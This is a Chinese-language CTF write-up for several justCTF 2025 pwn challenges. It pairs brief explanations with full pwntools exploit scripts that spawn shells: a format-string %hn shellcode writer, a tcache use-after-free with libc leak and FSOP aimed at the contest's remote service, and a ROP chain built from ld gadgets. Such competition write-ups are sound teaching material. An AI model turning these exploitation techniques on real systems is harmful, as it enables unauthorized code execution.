justctf2025 pwn
上周打了一下justctf,做了一道babyheap,shellcode没想到jmp短跳指令,没做出来,prospector和jctfcoin是学长做的就没看,QAQ,今天看了一下,还可以
shellcode printer
利用printf的%hn,每次两个字节向mmap中写shellcode,最后可以执行两个字节的shellcode,利用jmp的短跳指令可以直接跳回一开始的shellcode,就可以getshell了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import *
context(arch="amd64", os="linux")
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
shellcode=asm( """ movabs rdi, 0x68732f6e69622f push rdi lea rdi,[rsp] xor rsi,rsi xor rdx,rdx xor rax,rax add rax,59 syscall """ ) while True: p=process('./shellcode') for i in range(0, len(shellcode), 2): if i + 1 < len(shellcode): two_bytes = shellcode[i] | (shellcode[i+1] << 8) else: two_bytes = shellcode[i] padding = two_bytes fmt_str = b'%' + str(padding).encode() + b'c%6$hn' ru(b'Enter a format string: ') sl(fmt_str)
fmt_str = b'%' + str(0xe0eb).encode() + b'c%6$hn' ggg() ru(b'Enter a format string: ') sl(fmt_str) ru(b'Enter a format string: ') sl(b'') shell()
|
babyheap
很明显的free掉chunk后指针没有清零,可以uaf,难点在于怎么泄露libc,利用tcache任意地址分配chunk,打tcache的结构体,使得堆管理机制认为0x100的chunk已经把tcachebin填满了,然后堆叠伪造一个0x100的chunk,free掉这个chunk就会进入到unstorebin了,然后就可以泄露libc了,之后就是FSOP,没什么好说的了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import *
context(arch="amd64", os="linux")
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
elf=ELF('./babyheap') libc=ELF('./libc.so.6') def add(index,content): ru(b'> ') sl(b'1') ru(b'Index? ') sl(str(index).encode()) ru('Content? Content? ') s(content)
def read(index): ru(b'> ') sl(b'2') ru(b'Index? ') sl(str(index).encode())
def edit(index,content): ru(b'> ') sl(b'3') ru(b'Index? ') sl(str(index).encode()) ru('Content? ') s(content)
def free(index): ru(b'> ') sl(b'4') ru(b'Index? ') sl(str(index).encode())
def esc(): sla(b'> ',b'a')
p=remote('baby-heap.nc.jctf.pro',1337,timeout=10)
add(0,b'a') add(1,b'a') free(0) read(0) key=u64(p.recv(5).ljust(8,b'\x00')) heap_base=key<<12 print(hex(heap_base)) free(1) payload=p64(key^he(0x20)) edit(1,payload) add(2,b'a') add(3,p64(0)+p64(0x700000000)) add(4,b'a') add(6,b'a') add(7,b'a') add(8,b'a') add(9,b'a')
free(1) free(4) edit(4,p64(he(0x2d0)^key)) add(5,b'a') add(10,p64(0)+p64(0x101)) free(1) read(2) libc_base=uu64()-0x203b20 print(hex(libc_base)) _IO_list_all=lis('_IO_list_all') IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps'] setcontext_61=libc_base+libc.sym['setcontext']+61 system,binsh=getshell() free(6) free(7) edit(7,p64(_IO_list_all^key)) add(18,b'a') add(19,p64(he(0x2a0))) edit(0,b'/bin/sh\x00'+p64(0)*4+p64(1)) edit(6,p64(0)*3+p64(IO_wfile_jumps+0x30)) edit(4,p64(0)+p64(he(0x200))+p64(0)*2+p64(he(0x2e0))) edit(1,p64(0)+p64(0)*3+p64(1)) print(hex(_IO_list_all)) edit(7,p64(0)*3+p64(system)+p64(he(0x3a0))) esc() shell()
|
prospector
这个题没有libc,只有ld,还是挺有意思的,对于逆向的帮助挺大的
在Nick输入的时候有栈溢出,可以先修改判断条件的地方为1,然后泄露信息后对照伪代码进行逆运算,就可以得到mmap的地址了,不过有一位不知道,需要爆破一下,16分之一的几率,也是挺快的,mmap的地址和ld地址的偏移是固定的,泄露出ld之后用ld里的gadget就可以getshell了,题目中还给了一个空函数,里面有一些gadget不知道是干啥用的,没用到就可以getshell,可能这是非预期了吧
因为远程的环境已经停止了,没有试过远程,本地可以通 ) (
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import *
context(arch="amd64", os="linux")
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
elf=ELF('./prospector') while True: p=process('./prospector') ru(b'Nick: ') s(b'a'*0x48+p32(1)) ru(b'score: ') key=int(ru(b'\n')[:-1]) mmap=((key|0xe0000000)//2)<<16 mmap+=0x8000 print(hex(mmap)) ld=mmap+0x9000 rdi_rbp=0x0000000000003399+ld rsi_rbp=0x0000000000005740+ld rax=0x0000000000015b3b+ld syscall=0x000000000000b8b9+ld binsh=mmap+0x40+0x30 rdx=0x000000000002856e+ld ru(b'Nick: ') s(b'a'*0x20+p64(mmap)+p64(mmap+0x40)+p64(0)+p64(rdi_rbp)+p64(binsh-0x21)+p64(0)+p64(rsi_rbp)+p64(0)+p64(0)+p64(rax)+p64(mmap+0x100)+p64(rdx)+p64(rax)+p64(0x3b)+p64(syscall)) ru(b'Color: ') s(b'a'*0x31+b'/bin/sh\x00') data = p.recv() if b"Invalid color, try again" in data: p.close() else: break
shell()
|
jctfcoin
看了一下题目,和挖矿的函数没有什么联系,主要在REname,也就是edit的过程中有16字节的溢出,off by one都可以getshell,16字节更不用说了,堆叠后通过堆风水是可以实现泄露libc和heap的,之后也是FSOP就可以了,没什么新东西
大概看了一下后就没写exp了,QAQ,不要学我这么懒噢~~
exp: